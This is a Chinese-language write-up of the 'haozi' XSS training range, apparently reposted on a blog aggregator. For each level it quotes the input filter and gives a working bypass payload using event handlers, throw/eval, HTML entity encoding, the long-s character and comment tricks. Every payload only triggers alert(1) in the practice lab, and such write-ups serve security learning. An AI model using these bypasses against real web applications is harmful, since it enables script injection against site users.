XSS haozi靶场通关笔记

XSS靶场地址:alert(1)

靶场的要求是输出一个内容为1的弹窗;这个靶场限制了输入位置只能是input code;而且浏览器发送内容时会自动进行url编码;所以重点考察的是代码的分析和基础payload构造;一切完成在当前页面;没办法进行url编码绕过或者bp抓包修改;是磨练基础的宝刀。

祝各位玩的愉快,能够从靶场中学到更多的东西

靶场中冷知识整理:

  • html注释符:<!-- -->和<!-- --!>
  • 不闭合标签可执行:<img src οnerrοr="alert(1)"
  • 加空格的闭合标签可使用:</style     >
  • 单行注释:可用 -->
  • 事件执行内容可以有多个:用,或;分割就行
  • s的古英文是ſ;变成大写都是S
  • alert()只能是小写;大写不执行;ALERT()不识别
  • <script>内容</script>:标签中间的内容不识别带编码的内容
  • 回车换行可以打断对字符串以开头和结尾进行判断的验证
  • 利用实体编码可以绕过大写转换

0X00

这一关属于新手友好关;没有任何的限制内容,直接构造payload:<script>alert(1)</script>即可

因为没有任何验证,所以绕过方法比较多,可以自行尝试

0X01

这一关使用了<textarea>标签,输入的内容都会直接当成文本输出;但是未作任何的过滤;可以进行标签闭合;直接构造payload:<textarea><script>alert(1)</script>

0X02

这一关是一个input标签;没有对输入做任何的过滤;可以进行双引号绕过或者标签闭合绕过

直接构造payload:" οnfοcus=alert(1) autofocus "   //这里的autofocus加不加都行

0X03

这一关对小括号进行了过滤;将小括号换成了空字符;可以进行反引号绕过或者throw绕过

构造payload:<script>alert`1`</script>  //反引号是esc下面的按钮

通过throw进行绕过;构造payload:<svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">

主要掌握throw绕过的写法,标签换成其他的也可以

0X04

这一关对括号和反引号都进行过滤了;那考察的就是throw绕过了

直接构造payload:<img src οnerrοr="window.οnerrοr=eval;throw'=alert\x281\x29';">

0X05

这关把html中的注释符闭合标签过滤了;即-->被过滤了,而且把输入的内容放到了注释标签中;

输入的东西都会被注释掉,只能进行标签闭合;这个知识点很冷门了;(看了大佬的wp才知道)html注释符有两种写法:<!-- -->和<!-- --!>;可以使用--!>进行闭合(学到了)

构造payload:--!><script>alert(1)</script>

0X06

简单分析一下源码:

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

通过源码进行分析,主要看正则判断auto|on.*=|>的含义;/ /g是正则表达式的含义 /i是不区分大小写;这里过滤的是以auto或者on开头=结尾的字符串或者>;这些字符会被替换成_;我直接输入οnfοcus=alert(1)不会有结果,具体如下图;

但是这里忽略了换行符;可以利用回车绕过;

直接构造payload:onfocus    
=alert(1);

0X07

简单分析源码:

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

正则表达式总匹配符解析:

.用来匹配出换行符\n以外的任意字符
*用来匹配前面的子表达式任意次
+用来匹配前面的子表达式一次或多次(大于等于1次)
?用来匹配前面的子表达式零次或一次

源码解析:<\/?[^>]+>

\是用来转义/的,<\/?的意思是匹配<和</;[^]是匹配不在括号的内容;[^>]+的意思是至少存在一次非>的内容;整体的含义是匹配<内容>或者</内容>;当然,前者是包含后者的

那就麻烦了;构造xss payload肯定得用到标签啊,百思不得其解;后来看了大佬的wp;发现标签不闭合也能执行;离了个大谱

直接构造payload:<svg/οnlοad=alert(1)  或者<svg οnlοad=alert(1)

这个标签payload是最少的,我最喜欢用的;如果这样构造不成功的话就在最后敲一个回车;有时是靶场的判断问题

0X08

简单分析一下源码:

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

这里是将</style>标签进行转换了;style标签是设置样式的,不能直接在其中嵌套标签;必须得进行闭合才行啊;直接用</style>看效果;发现被替换成了坏人;

那如何进行标签闭合呢?在</style>中的style后面加上一个或多个空格就能绕过;而且标签可以正常使用;讲实话真的学到了,这小知识真的一讲一个不知道

直接构造payload:</style ><img src="" οnerrοr=alert(1) >

0X09

简单分析源码:

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

注意:这里的^表示的是开头的意思;只有在[]中才表示非的意思;

也就是说该源码判断的是输入字符串是否是以http://www.segmentfault.com这个字符串开头的;如果匹配的话才将输入放大<script>标签中;这就简单了;可以用""绕过

直接构造payload:http://www.segmentfault.com" οnerrοr="alert(1)

0X0A

简单分析源码:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'

以上源码分为两部分:特殊字符转换和头部字符串验证

该源码将&/'"<>等转为了实体编码;也就是不能通过双引号和标签闭合进行绕过了;这真的没思路了;看了大佬的wp才知道当前网站下有一个j.js和J.JS的文件,里面的内容就是alert(1);这谁想得到啊

直接构造payload:https://www.segmentfault.com.haozi.me/j.js

0X0B

简单分析源码:

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

这里对输入的内容都进行了大写转换

这里有个冷知识:alert()函数只能是小写;ALERT()是不执行的

这里发现在html源码中实体编码是原样保存的;没经过转换;那么页面输出时会自动进行转化;可以用实体编码绕过

直接构造payload:</H1> <img src=M οnerrοr=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;(1)>

0X0C

简单进行源码分析:

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

可以发现这里把script替换为空;然后又把替换后的字符串进行大写转换

思路:如果用<script>标签的话可以考虑利用双写绕过script的过滤;然后实体编码绕过ALERT()

我习惯直接用img标签或svg标签;单标签写起来舒服;直接实体编码绕过就行了

方法1:利用<script>标签绕过

直接构造payload:</H1> <scrscriptipt src οnerrοr=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;(1)></scrscriptipt>

alert(1)编码后只能通过事件进行触发,不能够在<script>alert(1)</script>内部触发;这里有点儿小疑问;可能是环境的问题

方法2:利用<img>标签绕过

直接构造payload:</H1> <img src οnerrοr=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;(1)>

方法3:利用<svg>标签绕过;

直接构造payload:</H1> <svg οnlοad=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;(1)>

0X0D

简单分析源码:

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

源码中对</'"进行了过滤,而且输入内容在单行注释标签下;//注释可以用回车进行绕过;但是由于后面的')存在无法让输入的执行;小脑萎缩了呀;</被过滤了,不能用//或者/*了,<也过滤了,不能对下面的标签进行闭合处理;看了大佬的wp发现可以用-->进行注释;真的学到了

直接构造payload:
alert(1);
-->

注意:第一行是回车键;-->是注释一整行,所以换行进行注释

0X0E

简单进行源码分析:

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

直接对<+字母组合进行过滤;任何标签都废了;替换完后还进行大写转换;这一刻真的小脑萎缩了;烦躁,没思路;看了大佬的wp直呼牛P;这题目真的是被玩明白的了

利用古英文(古拉丁文)中的一个字符:ſ

该字符是s的另一种写法;他的大写是S;这个思路真的清奇

直接构造payload:<ſvg/οnlοad=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;>

0X0F

简单对源码分析:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}

console.error()函数是在控制台打印错误信息;由于特殊字符都被进行了实体编码;所以没办法进行标签闭合;可以考虑)闭合console.error()函数;然后用逗号或分号进行分割,再输入想要执行的程序,最后用//将后面内容注释掉;这里利用的就是标签不闭合也能执行

直接构造payload:'),alert(1); //

0X10

简单分析源码:

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

没有任何过滤;直接将输入数据读取到了标签中;和第一关一样

直接构造payload:alert(1)

0X11

简单进行源码分析:

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

对输入的特殊字符进行了转义处理;并都添加了反斜杠;重点还是要绕过console.log();

在尝试的时候发现//虽然被转义成了\/\/,但是还能实现注释效果

直接构造payload:"); alert(1) //

0X12

简单分析源码:

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

源码中只对双引号进行了替换;加了转义字符;可以直接用\"绕过;相当于将替换后的\进行转义;使其失效;

直接构造payload:\");alert(1)//

10

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/657993.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构】链表(单链表实现+测试+原码)

1.链表 1.1 链表的概念及结构 概念&#xff1a;链表是一种物理存储结构上非连续、非顺序的存储结构&#xff0c;数据元素的逻辑顺序是通过链表 中的指针链接次序实现的 。 现实中&#xff1a;链表就像是一列动车&#xff0c;一节连着一节 数据结构中的链表 注意: 1.从上图可看出…

React16源码: React中LegacyContext的源码实现

LegacyContext 老的 contextAPI 也就是我们使用 childContextTypes 这种声明方式来从父节点为它的子树提供 context 内容的这么一种方式遗留的contextAPI 在 react 17 被彻底移除了&#xff0c;就无法使用了那么为什么要彻底移除这个contextAPI的使用方式呢&#xff1f;因为它…

知识点积累系列(一)golang语言篇【持续更新】

云原生学习路线导航页&#xff08;持续更新中&#xff09; 本文是 知识点积累 系列文章的第一篇&#xff0c;记录golang语言相关的知识点 1.结构体的mapstructure是什么 mapstructure:"default" mapstructure是一个Go语言的库&#xff0c;用于将一个map中的值映射到…

C语言王道第八周一题

Description 初始化顺序表&#xff08;顺序表中元素为整型&#xff09;&#xff0c;里边的元素是 1,2,3&#xff0c;然后通过 scanf 读取一个元素&#xff08;假如插入的是 6&#xff09;&#xff0c;插入到第 2 个位置&#xff0c;打印输出顺序表&#xff0c;每个 元素占 3 个…

添加了gateway之后远程调用失败

前端提示500&#xff0c;后端提示[400 ] during [GET] to [http://userservice/user/1] 原因是这个&#xff0c;因为在请求地址写了两个参数&#xff0c;实际上只传了一个参数 解决方案&#xff1a;加上(required false)并重启所有相关服务

【程序员英语】【美语从头学】初级篇(入门)(笔记)Lesson13(买东西)(餐厅点餐事宜;询问有无座位;食物如何调理:牛排、咖啡等;菜单等相关)

《美语从头学初级入门篇》 注意&#xff1a;被 删除线 划掉的不一定不正确&#xff0c;只是不是标准答案。 文章目录 Lesson 13 At the Restaurant 在餐厅会话A会话B笔记餐厅询问有无座位&#xff1b;餐厅电话订座其他餐厅询问有无座位的问法 吸烟区与非吸烟区&#xff08;smo…

[力扣 Hot100]Day18 矩阵置零

题目描述 给定一个 m x n 的矩阵&#xff0c;如果一个元素为 0 &#xff0c;则将其所在行和列的所有元素都设为 0 。请使用 原地 算法。 出处 思路 在原数组上直接操作势必会出现“冗余”的0&#xff0c;即原本[i,j]处不是0&#xff0c;例如由于i行的其他位置有0导致[i,j]…

Shell中的AWK

1.awk的工作原理 逐行读取文本&#xff0c;默认以空格或tab键为分隔符进行分隔&#xff0c;将分隔所得的各个字段保存到内建变量中&#xff0c;并按模式或者条件执行编辑命令。awk倾向于将一行分成多个"字段"然后再进行处理。awk信息的读入也是逐行读取的&#xff0…

day38_MySQL

今日内容 0 复习昨日 1 引言 2 数据库 3 数据库管理系统 4 MySQL 5 SQL语言 0 复习昨日 1 引言 1.1 现有的数据存储方式有哪些&#xff1f; Java程序存储数据&#xff08;变量、对象、数组、集合&#xff09;&#xff0c;数据保存在内存中&#xff0c;属于瞬时状态存储。文件&…

删除有序数组中的重复项[简单]

优质博文&#xff1a;IT-BLOG-CN 一、题目 给你一个非严格递增排列的数组nums&#xff0c;请你原地删除重复出现的元素&#xff0c;使每个元素只出现一次&#xff0c;返回删除后数组的新长度。元素的相对顺序应该保持一致。然后返回nums中唯一元素的个数。 考虑nums的唯一元素…

Source Insight 4的使用经验

问题1 函数结束提示符<<end tagDebugData>> 在source insight里的options→preference→syntax decorations→auto annotations→annotate closing braceswith end-comments关闭或启动显示. 但是有的有有的没有&#xff0c;奇怪! 参照网络答案&#xff1a; Sou…

DataX介绍

一、介绍 DataX 是一个异构数据源离线同步工具&#xff0c;致力于实现包括关系型数据库(MySQL、Oracle等)、HDFS、Hive、ODPS、HBase、FTP等各种异构数据源之间稳定高效的数据同步功能。 github地址 详细文档 操作手册 支持数据框架如下&#xff1a; 架构 Reader&#xff1…

IPV4 转 IPV6 解决方案大全

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通Golang》…

App全测试扫描漏洞工具

APP 有漏洞被测要下架&#xff0c;怎么处理&#xff1f; 如题&#xff0c;今天被问到&#xff1a;市面上有什么好的 APP 漏洞扫描工具推荐&#xff1f;我们的 APP 有漏洞&#xff0c;需要下架 APP&#xff1f; 前言 事情的经过是这样的&#xff1a; 1&#xff1a;学员公司测试…

UnityShader(九)Unity中的基础光照(下)

标准光照模型 光照模型有许多种&#xff0c;但在早期游戏引擎中&#xff0c;往往只使用一个光照模型&#xff0c;被称为标准光照模型。 标准光照模型只关心直接光照&#xff0c;也就是那些直接从光源发射出来照射到物体表面后&#xff0c;经过物体表面的一次反射直接进入摄像…

在Meteor Lake上测试基于Stable Diffusion的AI应用

上个月刚刚推出的英特尔新一代Meteor Lake CPU&#xff0c;预示着AI PC的新时代到来。AI PC可以不依赖服务器直接在PC端处理AI推理工作负载&#xff0c;例如生成图像或转录音频。这些芯片的正式名称为Intel Core Ultra处理器&#xff0c;是首款配备专门用于处理人工智能任务的 …

【安装记录】在pve中创建debian12虚拟机

1、官网下载debian12:https://www.debian.org/ 2、安装虚拟机 &#xff08;1&#xff09;上传 iso 文件到pve服务器&#xff1a; 等待上传中。。。 上传完毕结果如下&#xff1a; &#xff08;2&#xff09;创建虚拟机 类别我也不清楚有什么区别&#xff1f;我看推荐使用host…

[数据结构与算法]哈希算法

目录 哈希算法 常见哈希函数&#xff1a; MD5 (Message Digest Algorithm 5): SHA-1 (Secure Hash Algorithm 1): SHA-256 (Secure Hash Algorithm 256-bit): 代码演示: 哈希算法 哈希算法是一种将任意长度的输入数据映射为固定长度的输出数据的算法。哈希函数的主要目标是…

瑞_数据结构与算法_红黑树

文章目录 1 什么是红黑树1.1 红黑树的背景1.2 红黑树的特性 ★★★ 2 红黑树的Java实现2.1 红黑树颜色枚举类Color2.2 红黑树节点类Node2.2.1 实现判断是否是左孩子方法isLeftChild()2.2.2 实现查找叔叔节点方法uncle()2.2.3 实现查找兄弟节点方法sibling() 2.3 红黑树类RedBla…

Python如何递归删除空文件夹

嗨喽&#xff0c;大家好呀~这里是爱看美女的茜茜呐 1.Python如何递归删除空文件夹&#xff0c;这个问题很常见。 但大多数人的解决办法都是自己实现递归函数解决这个问题&#xff0c;其实根本不用那么麻烦。 Python中的os.walk提供了一种从内到外的遍历目录树的方法&#xff…